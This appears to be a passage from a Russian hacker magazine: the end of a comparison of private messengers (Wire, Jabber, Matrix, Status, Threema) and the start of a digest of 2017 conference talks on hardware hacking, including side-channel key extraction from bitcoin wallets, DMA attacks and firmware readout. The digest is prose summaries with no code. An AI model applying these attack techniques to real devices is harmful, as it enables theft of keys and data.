токо ла MQTT.  На  вся кий  слу чай  напом ню,  что  это  имен но  про токол  обме на
сооб щени ями  —  не  путать  с  про токо лом  шиф рования.  Пос ле  того  как  на
мобиль ных телефо нах Messenger высели ли в отдель ное при ложе ние, у поль‐ 
зовате лей  Facebook  оста валось  мало  выбора,  кро ме  как  уста новить  еще  и
его. Одна ко регис три ровать ся в «Мес сен дже ре» мож но и без акка унта в FB.

Ес ли срав нивать  чаты  «Вкон такте» и Facebook Messenger,  то  вто рой ока‐ 
зыва ется на голову выше. Во‐пер вых, мож но регис три ровать ся с ано ним ной
поч той.  Во‐вто рых,  под держи вают ся  E2EE‐чаты,  но  не  по  умол чанию.
Для  вклю чения  шиф рования  сооб щений  нуж но  акти виро вать  Secret
Conversations.

Од нако  пом ни,  что  Facebook  собира ет  очень  мно го  все воз можной
информа ции  о  поль зовате ле,  поэто му  вряд  ли  подой дет  для  ано ним ного
обще ния.  Так же  не  под держи вает ся  син хро низа ция  E2EE‐чатов  и  мно гого
дру гого (см. выше). Если тебе инте рес но, какую информа цию собира ет Face‐
book,  про читай    (если  у  тебя  нет  акка унта,  то
мож но  ).

по лити ку  кон фиден циаль нос ти
в фор ме скрин шота

WIRE

 GPLv3 
 цен тра лизо ван ный 

  есть.  С  помощью
поч ты 

 есть, по умол чанию 
 есть 

 нет, но воз можность есть 
 нет 

 есть 

  есть.  Если  один  из  поль зовате лей  отправ ляет  в  сек ретный
груп повой  чат  сооб щение с  устрой ства,  которое не  верифи циро вано  у  дру‐ 
гого  поль зовате ля,  то,  ког да  вто рой  попыта ется  отпра вить  сооб щение,
перед ним появит ся пре дуп режде ние о том, что у пер вого новое устрой ство 

 есть

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых  чатах:

За щита соци аль ного гра фа:

Wire —  один  из  наибо лее  ано ним ных  мес сен дже ров.  В  его  осно ве —  про‐ 
токол Wire Swiss, осно ван ный на Signal. Чем он хорош? Во‐пер вых, есть воз‐ 
можность ано ним ной регис тра ции. Во‐вто рых, по умол чанию под держи вает‐ 
ся  сквоз ное  шиф рование  с  воз можностью  син хро низа ции  зашиф рован ных
чатов.  В‐треть их,  есть  защита  соци аль ного  гра фа,  под держи вают ся  груп‐ 
повые зашиф рован ные чаты (до 128 человек) и безопас ные кон ференц‐звон‐ 
ки  (до  10  человек).  Что‐то  подоб ное  мы  видели  в  Briar,  но  у  Wire  еще  и
огромный выбор под держи ваемых плат форм: Android,  iOS, Windows, macOS,
Linux.

Дол жна быть лож ка дег тя? Она есть: мес сен джер плат ный и сто ит шесть
евро  в  месяц  (четыре  при  опла те  за  год).  Раз работ чики  утвер жда ют,  что
это  плюс:  подоб ная  биз нес‐модель —  это  хоть  какая‐то  гаран тия  того,  что
на  тво их  дан ных  не  попыта ются  зарабо тать.  С  дру гой  сто роны,  денеж ные
тран закции  пло хо  ладят  с  ано ним ностью.  Зато  есть  проб ный  пери од
на месяц!

JABBER (OMEMO)

 раз ные сво бод ные лицен зии 
 федера тив ный 

  есть.  Регис тра ция
с исполь зовани ем поч тового ящи ка, учет ной записи в Facebook или Twitter 

 есть. Необ ходимо допол нение OMEMO 
 есть 

  уве дом ления нет, но воз‐ 
можность есть 

 нет 
 есть 

 нет 
 нет

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность  ано ним ной  регис тра ции  и  работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Ес ли ста рина Jabber и выбива ется из ком пании сов ремен ных мес сен дже ров
с  веселы ми  сти кера ми  и  голосо выми  звон ками,  то  в  пла не  при ват ности  он
по‐преж нему  во  мно гом  незаме ним. Он федера тив ный,  под держи вает  ано‐ 
ним ную  регис тра цию,  E2EE‐шиф рование  (прав да,  нуж но  рас ширение
OMEMO),  в  том  чис ле  груп повое.  Да,  воз можнос ти  не  поража ют  вооб‐ 
ражение,  но  Jabber  про верен  вре менем  и  к  тому  же  име ет  реали зации
на всех воз можных плат формах. ChatSecure для iOS, Conversations — для An‐
droid, Pidgin — для Linux и так далее, спи сок огро мен.

RIOT (MATRIX)

 Apache 
 федера тив ный 

 есть 
 есть, по выбору поль зовате ля 

 есть 
 есть 

 нет 
 есть 

 есть 
 есть

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Че го соз дателям это го мес сен дже ра не  занимать,  так  это  уме ния при думы‐ 
вать  кру тые  наз вания.  Собс твен но,  Matrix  —  это  про токол  ком муника ции,
а Riot — это кли ент ское при ложе ние (быва ют и   — в том чис ле для кон‐ 
соли).  Исполь зовать  мож но  как  вебовый  вари ант,  так  и  прог раммы  для  iOS
и Android.

дру гие

В целом это еще один мало извес тный федера тив ный мес сен джер с под‐ 
дер жкой и син хро низа цией чатов E2EE, в том чис ле груп повых. Регис тра ция
ано ним ная,  без  при вяз ки  к  номеру  мобиль ного  телефо на  или  поч те.  Под‐ 
держи вает ся голосо вая связь и виде озвонки.

Шиф рование  перепис ки  в  Riot  мож но  вклю чить  или  вык лючить —  инди‐ 
като ром  это го  слу жит  зна чок  замоч ка  рядом  с  полем  отправ ки  сооб щения.
Так же если в сек ретном груп повом чате появит ся поль зователь, чьи устрой‐ 
ства не верифи циро ваны дру гими поль зовате лями, собесед ники уви дят уве‐ 
дом ление об этом при попыт ке отпра вить сооб щение.

В  целом Matrix  выг лядит  как  инте рес ный  вари ант,  сму тить  может  толь ко
его новиз на в сочета нии с тем, что про токол свой.

STATUS

 MPLv2 
 децен тра лизо ван ный 

 есть 
 по умол чанию 

 час тичная (см. опи сание) 
 есть (что бы начать диалог

с поль зовате лем, необ ходимо ввес ти его иден тифика тор или сос каниро вать
с экра на смар тфо на) 

 нет 
 нет 

 есть

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие E2EE:

Син хро низа ция E2EE-чатов:

Уве дом ление о про вер ке отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

За щита соци аль ного гра фа:

Status — это неч то боль шее, чем прос то мес сен джер. Конеч но, его мож но
исполь зовать толь ко для обще ния, но это все рав но что ста вить Windows ради
«Блок нота».  Да  и  общать ся  здесь  не  очень‐то  удоб но,  даже  кар тинку
не отпра вишь, не говоря уж про такую рос кошь, как сти кер. Зато пря мо в чате
есть воз можность отпра вить ETH и соз дать зап рос на его получе ние.

При ложе ние  пока  находит ся  на  ста дии  бета‐тес та.  Да,  без  глю ков  пока
никак. Уста нови ла на два телефо на (Samsung и Android). На одном из телефо‐ 
нов  при ложе ние  работа ло  нор маль но,  на  вто ром  пос тоян но  сле тала  авто‐ 
риза ция и при ходи лось вво дить пароль при каж дом обра щении к мес сен дже‐ 
ру (счи тай, пос ле каж дой бло киров ки экра на) — не очень‐то удоб но.

Иног да не зна ешь, баг перед тобой или никак не объ ясненная фича. Ког да
я соз дала акка унты на обо их телефо нах (для это го ничего не нуж но — прос то
вво ди  имя)  и  сос каниро вала  QR‐код  на  экра не  одно го  телефо на  дру гим,
на  вто ром  отоб разилось  совер шенно  дру гое  имя,  которое  я  видела  впер‐ 
вые, —  Puny  Moral  Gonolek.  Толь ко  пос ле  добав ления  поль зовате ля  в  кон‐ 
такты имя ста ло нор маль ным. При этом имя пер вого собесед ника всю дорогу
отоб ража ется нор маль но.

Пос коль ку  есть  воз можность  ано ним ной  регис тра ции  и  все  чаты  шиф‐ 
руют ся по умол чанию, мож но счи тать, что каж дый чат в Status — сек ретный.
Есть и син хро низа ция сек ретных чатов, но син хро низи ровать ся будут толь ко
вхо дящие сооб щения, а вот отправ ленные с одной учет ной записи, но с раз‐ 
ных устрой ств — нет.

Еще  один  воз можный  недос таток:  сооб щения  хра нят ся  и  на  телефо не,
и на сер вере мес сен дже ра, но раз работ чики уве ряют, что в зашиф рован ном
виде. Зато твоя кни га кон тактов не сли вает ся на сер веры мес сен дже ра, что
нын че  дорого го  сто ит.  В  общем,  безопас ность  здесь  есть,  а  воз можность
перево да крип товалю ты, веро ятно, кого‐то пораду ет. Но Status пока что ско‐ 
рее инте рес ная диковин ка, чем рабочий инс тру мент.

THREEMA

 проп риетар ная для при ложе ний, AGPLv3 для веб‐кли ента 
 цен тра лизо ван ный 

 есть. Мож но соз дать
учет ную  запись  без  при вяз ки  к  номеру  телефо на  или  поч те.  Поль зовате лю
прис ваивает ся уни каль ный ID, который мож но сме нить 

 есть, по умол чанию 
  нет:  для  каж дого  устрой ства  генери рует ся

отдель ный ID 
  есть.  Сооб щения  в  груп‐ 

повых  чатах  отправ ляют ся  каж дому  собесед нику  инди виду аль но,  а  диалог
мож но начать толь ко с тем, чей иден тифика тор под твержден 

 нет 
 есть 

 есть 
 есть. Адресная кни га по умол чанию не заг‐ 

ружа ется на сер вер, но при желании поль зователь может раз решить дос туп
к ней

Ли цен зия:

Сте пень цен тра лиза ции:

Воз можность ано ним ной регис тра ции и работы:

На личие E2EE:

Син хро низа ция  E2EE-чатов:

Уве дом ление о  про вер ке  отпе чат ков E2EE:

Зап рет на скрин шоты сек ретных чатов:

Груп повые чаты E2EE:

Уве дом ление о необ ходимос ти про вер ки отпе чат ков E2EE в груп- 

повых чатах:

За щита соци аль ного гра фа:

Threema  —  проп риетар ный  цен тра лизо ван ный  мес сен джер,  сер веры
которо го  находят ся  в Швей царии.  Кро ме  тек сто вого  обще ния,  поль зовате‐ 
лям  дос тупны  голосо вые  звон ки,  воз можность  отправ лять  свое  мес тополо‐ 
жение,  голосо вые  сооб щения  и  фай лы.  Под держи вают ся  груп повые  чаты
до 50 человек.

Со обще ния  здесь  шиф руют ся  пол ностью  и  децен тра лизо ван ным  спо‐ 
собом на устрой ствах поль зовате ля, а не на сер вере Threema. Сер вер ско рее
игра ет  роль  ком мутато ра:  сооб щения  пересы лают ся  через  него,  но  не  хра‐ 
нят ся  пос тоян но.  Под робно  о  том,  какие  дан ные  хра нят ся  и  как  дол го,  ты
можешь про читать в  .FAQ

Для регис тра ции не нуж но ука зывать дан ные, которые могут спо собс тво‐ 
вать  уста нов лению  лич ности, —  ни  номер  телефо на,  ни  email.  При  пер вом
запус ке  прог раммы  слу чай ным обра зом  генери рует ся  иден тифика тор  поль‐ 
зовате ля, на его осно ве будет сге нери рован QR‐код. Все это обес печива ет
ано ним ность обще ния.

Что бы  начать  диалог  с  собесед ником,  необ ходимо  ввес ти  его  иден‐ 
тифика тор.  В  Threema  есть  три  уров ня  доверия  лич ности  поль зовате ля.
Наивыс ший  будет  при  ска ниро вании  иден тифика тора  с  экра на  смар тфо на,
а самый низ кий — при вво де его вруч ную. Где‐то посере дине находит ся син‐ 
хро низа ция  кон тактов.  Уро вень  про вер ки  каж дого  кон такта  отоб ража ется
в виде точек рядом с име нем.

В  отли чие  от  WhatsApp  или,  нап ример,  Facebook  Messenger  Threema
не  регис три рует,  кто  и  с  кем  обща ется,  и  не  хра нит  адресную  кни гу  поль‐ 
зовате ля  на  сво их  сер верах.  Все  сооб щения  на  устрой ствах  поль зовате ля
хра нят ся  в  зашиф рован ном  виде.  Спо соб  шиф рования  зависит  от  устрой‐ 
ства.  В  iOS  исполь зует ся  фун кция  iOS  Data  Protection,  в  Android  и  Windows
Phone —  AES‐256. Шиф руют ся  сооб щения,  изоб ражения  и  дру гие  дан ные,
переда ваемые  меж ду  поль зовате лями.  Допол нитель ная  информа ция  дос‐ 
тупна в whitepaper ( ).PDF

Хоть каж дый чат шиф рует ся и может счи тать ся сек ретным, помимо это го,
есть  и  при ват ные  чаты.  Они  защище ны  PIN‐кодом  и  помече ны  знач ком
со шля пой и очка ми. Неч то подоб ное мы уже встре тили в Viber.

В общем, Threema оставля ет неп лохое впе чат ление. Сооб щения не могут
быть  рас шифро ваны  —  даже  по  решению  суда,  так  как  хра нят ся  толь ко
на телефо не и Threema не име ет дос тупа к сек ретным клю чам поль зовате лей.
Сер веры  Threema  зна ют  толь ко,  кто  отправ ляет  сооб щение  и  кому,  но  они
не  логиру ют  эту  информа цию  и  не  могут  рас шифро вать  содер жимое  сооб‐ 
щения.

Пе рехо дим  к минусам. Во‐пер вых,  это  необ ходимость  разово  зап латить.
2,6 евро разово — не бог весть что, но сам факт опла ты может быть нежела‐ 
тель ным. Так же отсутс твие син хро низа ции и  хра нения сооб щений озна чает,
что сох ранить исто рию ты можешь толь ко сам, сде лав бэкап.

INFO

Груп повые  чаты  всег да  обла дают  мень шей
безопас ностью  из‐за  упро щен ного  механиз ма
рас пре деле ния  клю чей.  Под робнее  читай  в 

.
пре‐ 

дыду щей статье

ИТОГИ

Ре комен довать какой‐либо мес сен джер мы не будем. Мы пре дос тавили тебе
все дан ные, и выбор оста ется за тобой, тем более что выбирать есть из чего.
Ниже —  , которая поможет тебе в этом.таб личка

https://www.facebook.com/privacy/explanation
https://cdn-images-1.medium.com/max/1250/1*PaCqj-ah-7G0GyhHSimmxw.png
https://matrix.org/docs/projects/try-matrix-now.html
https://threema.ch/en/faq
https://threema.ch/press-files/cryptography_whitepaper.pdf
https://xakep.ru/2018/06/14/useless-encryption/
https://xakep.ru/static/messengers-table.jpg
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ВЗЛОМ

Ес ли  уяз вимос ти  в  веб‐при ложе ниях  тебя
уто мили,  то  взлом  железа  (точ нее,  про‐ 
шивок)  будет  глот ком  све жего  воз духа.
В  этой  статье  мы  соб рали  док лады,  авто‐ 
рам которых уда лось обой ти защиту раз ных
устрой ств  —  от  аппа рат ных  кошель ков
для  крип товалют  до  элек трон ных  двер ных
зам ков.

НЕ ЗАСЛУЖИВАЮЩЕЕ ДОВЕРИЯ ЖЕЛЕЗО И КАК ЕГО
РЕАБИЛИТИРОВАТЬ
0ctane. Untrustworthy Hardware and How to Fix It // DEF CON. 2017

Сов ремен ные  вычис литель ные  плат формы  пре дос тавля ют  сво ему  поль‐ 
зовате лю  боль ше  сво боды,  чем  ког да‐либо.  Бум  сво бод ного  и  open  source
соф та  при вел  к  соз данию  более  безопас ных  крип тореше ний,  одна ко
под повер хностью open source ОС рас положе на катего ричес ки зак рытая про‐ 
шив ка и  столь же  зак рытые  коды  устрой ств.  У  устрой ств  у  этих,  в  свою оче‐ 
редь,  зак рытая  архи тек тура.  В  резуль тате  код  таких  ОС  испещрен  «бинар‐ 
ными блям бами» (бло ками бинар ного кода, пред став ляющи ми собой вкрап‐ 
ление зак рытого кода в откры тый).

Дан ные  обсто ятель ства  не  поз воля ют  нам  иссле довать  сис темы,
в которых мы ведем свои при ват ные вычис ления, и доверять им. Встро енные
тех нологии, такие как Intel ME, пред став ляют собой зна читель ную угро зу, пос‐ 
коль ку  зло умыш ленник может  лег ко  получить  к  ним дос туп,  экс плу ати ровать
их. У прод винутых зло умыш ленни ков на руках есть крип тогра фичес кие клю чи,
которы ми под писыва ется про шив ка, и даже потен циаль но есть дос туп к тех‐ 
нологи чес кому  про цес су  изго тов ления  мик росхем.  Такие  прод винутые  зло‐ 
умыш ленни ки  могут  повер гнуть  наши  крип тогра фичес кие  устрой ства,
на которые мы полага емся в сво ей работе, в гран диоз ный хаос.

Пос ле опи сания все воз можных низ коуров невых атак на кри тичес кие сис‐ 
темы док ладчик пред став ляет аль тер натив ное решение с откры тым исходным
кодом — для уве рен ной крип тогра фии и при ват ных вычис лений. Устрой ство
пос тро ено на базе FPGA‐чипов и пред став ляет собой опен сор сную сис тему,
более  откры тую,  чем  какая‐либо  дру гая  дос тупная  на  сегод няшний  день
вычис литель ная  сис тема. Никаких  «бинар ных блямб»,  никакой  скры той фун‐ 
кци ональ нос ти  про шив ки  и  никаких  сек ретных  про цес соров  с  зак рытым
исходным кодом.

Од нако  не  сто ит  думать,  что,  при дер жива ясь  такой  кон цепции,  мож но
на  100%  защитить ся  от  хакеров.  Ее  пре иму щес тво  в  дру гом  —  она  дает
теоре тичес кую воз можность исправ лять проб лемы, если они воз никнут. Тог‐ 
да как сис темы, содер жащие зак рытые архи тек турные ком понен ты, такой воз‐ 
можнос ти не дают в прин ципе.

ВЗЛОМ АППАРАТНЫХ БИТКОЙН-КОШЕЛЬКОВ
Josh Datko, Chris Quartier, Kirill Belyayev. Breaking Bitcoin Hardware

Wallets // DEF CON. 2017

Бе зопас ность  тво их  бит кой нов  целиком  и  пол ностью  зависит  от  сек‐ 
ретнос ти крип тогра фичес кого клю ча. Аппа рат ные бит койн‐кошель ки помога‐ 
ют защитить от атак прог рам мно го уров ня, которые стре мят ся ском про мети‐ 
ровать крип тогра фичес кий ключ. Одна ко аппа рат ные ата ки на эти клю чи изу‐ 
чены не так хорошо.

В  2015  году  впер вые  было  про демонс три рова но,  как  извлечь  сек ретный
ключ  из  TREZOR,  исполь зуя  прос тую  тех нику  ана лиза  пот ребля емой  мощ‐ 
ности.  Хотя  эта  уяз вимость  была  вско ре  исправ лена,  мик рокон трол лер,
на базе которо го пос тро ен TREZOR (который, к сло ву говоря, тот же самый,
что и у KeepKey), уяз вим и для дру гих атак по обходным каналам. В док ладе
пред став лен  крат кий  обзор  метода  ана лиза  пот ребля емой  мощ ности
и  некото рых  дру гих  полез ных  для  аппа рат ного  взло ма  тех ник,  с  исполь‐ 
зовани ем аппа рат ного опен сор сно го инс тру мен та ChipWhisperer. Затем док‐ 
ладчик  объ ясня ет,  как  раз ворачи вать  эти  аппа рат ные  ата ки  про тив
STM32F205 — того самого мик рокон трол лера,  на базе  которо го пос тро ены
TREZOR и KeepKey. Наконец, док ладчик пред став ляет собс твен ные наход ки,
которые поз воля ют сде лать новые модифи кации ата ки по обходным каналам.

Док ладчик  демонс три рует  исполь зуемые  в  сво их  иссле дова ниях  инс тру‐ 
мен ты и методы и пре дос тавля ет их всем заин тересо ван ным лицам, что бы те
мог ли изу чить воз можнос ти взло ма сво их собс твен ных бит койн‐кошель ков.

ЗАЩИТНЫЙ ТОКЕН И DOOBIEKEYS: КАК ВЗЛАМЫВАЮТ
АППАРАТНЫЕ ЗАЩИТНЫЕ ДЕВАЙСЫ
Joe  FitzPatrick,  Michael  Leibowitz.  Secure  Tokin’  and  Doobiekeys:

How  to  roll  your  own  counterfeit  hardware  security  devices  //  DEF

CON. 2017

Пос мотрим прав де  в  гла за:  безопас ность  соф та  по‐преж нему  находит ся
в  очень  пла чев ном  сос тоянии.  Мы,  конеч но,  можем,  прик рыва ясь  умны ми
сло вами, говорить, что у нас все в поряд ке, но в глу бине души мы зна ем, что
мир находит ся  в  огне. Даже если  ты  хакер — невоз можно быть  уве рен ным,
что твой компь ютер, мобиль ник или защищен ный мес сен джер не взло маны.

Ко неч но,  есть  тра дици онные  «эффектив ные»  решения  —  аппа рат ные
защит ные девай сы. Мы сегод ня исполь зуем токены аутен тифика ции не толь‐ 
ко для защиты наших сис тем бан кинга или VPN‐соеди нений, но и для дос тупа
ко  все му  осталь ному:  от  облачных  сер висов  до  соци аль ных  сетей.  Хотя  мы
изо лиро вали  эти  «надеж ные»  аппа рат ные  ком понен ты  от  наших  уяз вимых
для взло ма сис тем, что бы они были более надеж ными, воз можность их ком‐ 
про мета ции все же оста ется.

В  док ладе  пред став лены  ата ки  про тив  двух  популяр ных  токенов.  Пос ле
соз дания  наших  модифи циро ван ных  и  кон тра фак тных  устрой ств  мы  можем
исполь зовать  их  для  того,  что бы  обой ти  пред полага емые  пред посыл ки
безопас ности,  на  которые  рас счи тыва ли  раз работ чики  этих  аппа рат ных
защит и их поль зовате ли.

АТАКА НА ШИФРОВАННЫЕ USB-КЛЮЧИ: АППАРАТНЫЙ ПОДХОД
Attacking  Encrypted  USB  Keys:  the  Hard(ware)  Way  //  Black  Hat.

2017

А  ты  ког да‐нибудь  задумы вал ся  о  том,  дей стви тель но  ли  твой  новень кий
AES‐шиф рован ный USB‐девайс шиф рует дан ные? Или же это прос то бутафо‐ 
рия? В этом док ладе пред став лены резуль таты ауди та, которые показы вают,
что дан ные про дук ты не соот ветс тву ют раз верну той вок руг них шумихе. Сре‐ 
ди  про ана лизи рован ных  девай сов  мно гочис ленные  USB‐клю чи  и  жес ткие
дис ки, которые пре тен дуют на то, что они шиф руют дан ные.

В док ладе пред став лена методо логия ана лиза «защищен ных» USB‐девай‐ 
сов, которая вклю чает в себя ком бинацию аппа рат ного и прог рам мно го под‐ 
хода.  В  про цес се  ана лиза  были  най дены  нес коль ко  уяз вимос тей  и  раз‐ 
работа ны ата ки, экс плу ати рующие эти уяз вимос ти. Опи сание соп ровож дает‐ 
ся прак тичес кими демонс тра циями на живых при мерах. Воору жив шись пре‐ 
дос тавлен ными  в  док ладе  зна ниями  и  инс тру мен тами,  каж дый  может  лег ко
и прос то про ана лизи ровать безопас ность любого USB‐девай са.

ВЗЛОМ ЭЛЕКТРОННЫХ ДВЕРНЫХ ЗАМКОВ: ПОЧТИ КАК В КИНО
Colin O’Flynn. Breaking Electronic Door Locks Like You’re on CSI //

Black Hat. 2017

Ки нош ное  пред став ление  о  взло ме  элек трон ных  двер ных  зам ков  ничуть
не  эво люци они рова ло  со  вре мен  вто рого  «Тер минато ра»,  в  котором  Джон
Кон нор взла мывал бан комат с помощью лэп топа. Сегод ня ока зыва ется,  что
в реаль нос ти все выг лядит при мер но так же. :)

В  этом  док ладе  рас смот рены  нес коль ко  широко дос тупных  элек трон ных
зам ков и пред став лены попыт ки (успешные) их взло ма. Док ладчик под робно
объ ясня ет,  как  взла мывать  элек тро нику  на  этих  зам ках,  и  опи сыва ет  уяз‐ 
вимос ти, которые может экс плу ати ровать аппа рат ный хакер для обхо да этих
зам ков. Все с демонс тра цией на реаль ных при мерах.

EVILSPLOIT — УНИВЕРСАЛЬНЫЙ ПАКЕТ ИНСТРУМЕНТОВ ДЛЯ
АППАРАТНОГО ВЗЛОМА
Chui Yew Leong, Wan Ming Ming. EvilSploit — a Universal Hardware

Hacking Toolkit // Black Hat. 2017

Для аппа рат ного взло ма нуж но чет ко понимать внут ренний механизм фун‐ 
кци они рова ния целевой железя ки. Как пра вило, про цесс аппа рат ного взло ма
начина ется  с  ревер синга:  сна чала  ста тичес кого,  затем  динами чес кого.
С аппа рат ной точ ки зре ния ста тичес кий ревер синг вклю чает в себя рас кры‐ 
тие  схе мы  соеди нений  и  дизас сем бли рова ние  бинар ника.  Динами чес кий
ревер синг  под разуме вает  нахож дение  спо соба  под клю чить ся  к  железя ке
в отла доч ном режиме, что бы «демис тифици ровать» ее архи тек туру в полевых
усло виях и затем про вес ти фаз зинг.

Для  успешно го  ревер синга  край не  важ но  иден тифици ровать  пор ты  дос‐ 
тупа  иссле дуемой  железя ки.  Стан дар тный  под ход  для  иден тифика ции  —
пакеты  инс тру мен тов  для  поис ка  пинов,  такие  как  Jtagulator.  Дру гой  пакет
инс тру мен тов  —  Shikra  манипу лиру ет  пор том  ини циали зации.  Одна ко  он,
во‐пер вых,  пес трит  ошиб ками,  а  во‐вто рых,  не  заточен  под  хакеров.  Таким
обра зом, важ но най ти спо соб запол нить про бел меж ду иден тифика цией пор‐ 
та  и  манипу лиро вани ем.  Это  поз волит  авто мати зиро вать  про цесс  аппа рат‐ 
ного  взло ма  и  обес печить  воз можность  управле ния  этим  взло мом —  через
скрип ты, написан ные на высоком неап парат ном уров не.

В  док ладе  пред став лен  новый  метод  для  иден тифика ции  пор тов  и  для
манипу лиро вания  ими —  пос редс твом  мат рицы  под клю чений  (самая  левая
часть кар тинки). Помимо все го про чего, мат рица под клю чений — это иде аль‐ 
ный инс тру мент для ана лиза неиз вес тных сиг налов, для SCA‐атак (Side Chan‐
nel Analysis — ана лиз обходных каналов) и FI‐атак (Fault  Injection — инъ екция
намерен ных  неис прав ностей).  Иден тифика цию  четырех  JTAG‐пинов  (TMS,
TDI, TDO, TCK) из обще го количес тва 16 воз можных пинов EvilSploit про изво‐ 
дит  за  100  секунд.  Пос ле  завер шения  иден тифика ции  «мат рица  под клю‐ 
чений»  авто мати чес ки  перенас тро ит  шаб лон  мар шру тиза ции  сиг нала  —
к  интерфей сной  мик росхе ме  для  чипа.  Теперь  чип  готов  для  управле ния
и  манипу лиро вания  любыми  извес тны ми  инс тру мен тами  JTAG‐отладки,
такими как UrJtag или OpenOCD.

Для  UART  про цеду ра  иден тифика ции  пинов  (Tx  и  Rx)  из  16  воз можных
пинов  занима ет  90  секунд.  Опять  же,  пос ле  это го  чип  готов  к  управле нию
и  манипу лиро ванию  —  любыми  инс тру мен тами  для  UART‐отладки,  такими
как Minicom или PuTTY. В  качес тве вспо мога тель ного инс тру мен та для SCA‐
ата ки EvilSploit исполь зует ChipWhisperer для вос ста нов ления сек ретно го клю‐ 
ча  для  3DES и SM4,  которые исполь зуют ся  эти ми  чипами при шиф ровании.
В  обо их  слу чаях  EvilSploit  генери рует  триг герные  сиг налы
для  ChipWhisperer —  для  запус ка  генера ции  сем плов  и  кон тро ля  пот рачен‐ 
ного на их выпол нение вре мени. Соб ранные сем плы затем обра баты вают ся
супероп тимизи рован ным  MatLab‐скрип том  для  вос ста нов ления  сек ретно го
клю ча; успешно вос ста нав лива ются сек ретные клю чи и для 3DES, и для SM4.

Что  каса ется  проб лемы  обхо да  схе мы  обна руже ния,  EvilSploit  успешно
убеж дает ее, что к управля ющим пинам ничего не под клю чено. Таким обра‐ 
зом,  манипу ляция  уров нем  сиг нала  пол ностью  дос тупна,  даже  в  самых
защищен ных механиз мах.

DMA-АТАКИ НОВОГО ПОКОЛЕНИЯ ПРИ ПОМОЩИ ПОДДЕЛЬНОГО
КОНТРОЛЛЕРА ПАМЯТИ
Anna  Trikalinou,  Dan  Lake.  Taking  DMA  Attacks  to  the  Next  Level:

How to do arbitrary reads/writes in a live and unmodified system, us-

ing a rogue memory controller // Black Hat. 2017

Док лад о том, как встра ивать аппа рат ные жуч ки в мобиль ные и ста ционар‐ 
ные мик ропро цес сорные сис темы. Физичес кие DMA‐ата ки на девай сы, а так‐ 
же  воз можность  про изволь ного  счи тыва ния  и  модифи кации  содер жимого
памяти в дей ству ющей и немоди фици рован ной сис теме  — серь езная угро за
безопас ности,  в  осо бен ности  для  мобиль ных  устрой ств,  которые  теря ются
или вору ются чаще дру гих, и круп ных дата‐цен тров, где имплан тация недове‐ 
рен ного ком понен та может быть лег ко упу щена из виду.

В  час тнос ти,  воз можность  счи тыва ния  памяти  может  быть  исполь зована
для счи тыва ния сек ретных клю чей (то есть клю чей шиф рования дис ка). А воз‐ 
можность активной модифи кации памяти может быть исполь зована для обхо‐ 
да  политик/механиз мов безопас ности  плат формы. Одна ко  обыч но  для  про‐ 
веде ния  подоб ных  атак  тре бует ся  спе цифи чес кий  интерфейс  (нап ример,
Thunderbolt),  и  для  таких  атак  может  быть  вве дена  смяг чающая  конт рме ра:
бло киров ка свя зан ных драй веров и пор тов.

В  этом  док ладе  пред став лена физичес кая DMA‐ата ка  нового  поколе ния,
которую невоз можно обна ружить и которая не тре бует дос тупа к опре делен‐ 
ному пор ту; она исполь зует архи тек турную аппа рат ную уяз вимость DIMM; эта
аппа рат ная  уяз вимость  при сутс тву ет  пов семес тно.  Исполь зуя  кас томизи‐ 
рован ный PCB‐зонд с FPGA, хакеры смог ли под клю чить ся к откры тым DDR4‐
пинам типич ной нас толь ной сис темы неин вазив ным спо собом, пря мо во вре‐ 
мя  работы  этой  сис темы  (находя щей ся  в  режиме  сна  S3).  Мас кируя  себя
под доб рокачес твен ный кон трол лер памяти,  хакеры могут  читать и модифи‐ 
циро вать  память  на  любом  физичес ком  адре се,  и  целевая  сис тема
при выходе из спя щего режима при мет все изме нения.

Док ладчик  дела ет  акцент  на  том,  как  ревер сили  кон трол лер  памяти
и  DIMM‐схе мы,  что бы  затем  совер шать  инъ екции  сво их  сиг налов  на  шину
памяти  ата куемой сис темы,  в  то  вре мя,  пока  сис тема находи лась  в  режиме
сна  S3.  Так же  док ладчик  опи сыва ет  JEDEC‐стан дарт  для  DDR4‐команд
на под дель ном кон трол лере памяти; как он выпол няет каж дую опе рацию, его
вре мен ные огра ниче ния,  сопос тавле ние физичес ких адре сов с DDR4‐адре‐ 
сами.  Наконец,  док ладчик  пред став ляет  дизайн  под дель ного  кон трол лера
памяти: печат ной пла ты и FPGA.

СЧИТЫВАЕМ ЗАЩИЩЕННУЮ ОТ СЧИТЫВАНИЯ ПРОШИВКУ
Johannes  Obermaier,  Stefan  Tatschner.  Shedding  too  much  Light

on a Microcontroller's Firmware Protection // Proceedings of the 11th

USENIX Workshop on Offensive Technologies (WOOT). 2017

Прак тичес ки  все  мик рокон трол леры  с  встро енной  флеш‐памятью  име ют
фун кцию  защиты  про шив ки  от  чте ния. Сре ди  них  серия мик рокон трол леров
STM32, которая в пос леднее вре мя при обре ла боль шую популяр ность у про‐ 
изво дите лей  элек тро ники. Неуди витель но,  что  и  ата кам она  все  чаще  ста ла
под вергать ся. Тем не менее прак тичес кого опы та и све дений об устой чивос‐ 
ти мик рокон трол леров STM32 к ата кам в откры том дос тупе нет.

Этот док лад — пер вое пуб личное иссле дова ние кон цепции безопас ности
STM32.  Док ладчик  сна чала  при водит  резуль таты  кон цепту аль ного  ана лиза
